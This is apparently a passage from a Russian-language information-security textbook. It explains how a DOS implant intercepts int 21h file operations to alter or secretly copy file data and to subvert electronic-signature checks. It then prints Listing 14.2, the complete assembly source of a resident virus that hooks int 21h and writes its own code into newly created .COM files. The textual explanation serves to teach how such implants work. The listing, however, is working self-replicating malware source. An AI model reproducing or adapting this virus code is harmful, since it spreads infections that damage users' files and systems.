Перехват и обработка файловых операций
Программное средство защиты информации (ПСЗИ) производит некоторые файловые операции. Для этого открывается файл, часть его или весь файл считывается в буфер оперативной памяти, обрабатывается и затем записывается в файл с прежним или новым именем.
Активизирующим событием в данном случае является, как правило, открытие файла (int 21h, функция 3Dh), либо его закрытие.
Таким образом, закладка порождает в системе “исходный файл — ПСЗИ — выходной файл” новые связи, включая в них свои операции и массивы данных.
Рассмотрим механизм работы закладки для DOS, которая встраивается в цепочку прерывания int 21h для следующих функций.
- Открытие файла (функция 3Dh). Закладка отфильтровывает нужные имена или дескрипторы файлов.
- Чтение из файла (функция 3Fh). Закладка выполняет прерывание по старому адресу указателя, затем сохраняет считанный буфер в собственный, обычно скрытый файл, либо исправляет в буфере некоторые байты файла, кроме того возможно влияние на результаты операции чтения. Данные действия особенно опасны для программ подтверждения подлинности электронных документов (электронная подпись).
- Запись в файл (функция 40h). Закладка редактирует нужным образом буфер в оперативной памяти, либо сохраняет файл или часть его в скрытую область, а затем выполняет старое прерывание, в результате чего записывается файл с измененным содержанием, либо каким-то образом дублированный в скрытой области. Закладки такого типа могут навязывать истинность электронной подписи даже тогда, когда файл был изменен.
В листинге 14.2 представлен пример вируса, использующего механизм перехвата файловых операция для модификации файлов типа COM своим кодом.
Листинг 14.2. Пример перехвата файловых
операций для выполнения несанкционированной записи в файл
.model tiny
.code
org 100h
start:
push si
push si
mov es,bx
mov di,2B0h
cli
cmpsb
jz loc_2
dec si
dec di
Продолжение листинга 14.2
mov cl,50h rep movsb
mov si,21h*4
push si
movs word ptr es:[di],word ptr es:[si]
movs word ptr es:[di],word ptr es:[si]
pop di
mov al,2Bh
stosw
stosw
loc_2:
pop di
lea si,[di+50h]
mov cx,sp
sub cx,si
push cs
pop es
rep movsb
retn
; новый обработчик 21-го прерывания
cmp ah,3Ch ; функция создания файла ?
jne loc_5 ; если нет — на выход
int 0C0h ; если (2B0h+50h)/4 = 0C0h, т.е. адрес
; старого обработчика int 21h
push ax
xchg bx,ax
mov si,dx ; si = dx
locloop_3:
dec si
lodsw
cmp ax,'mo'
loopnz locloop_3
jnz loc_4
push ds
push cs
pop ds
mov ah,40h
mov cl,50h
cwd
int 21h
pop ds
Окончание листинга 14.2
loc_4:
pop ax
clc
retf 2
loc_5:
db 0EAh
int 20h
end start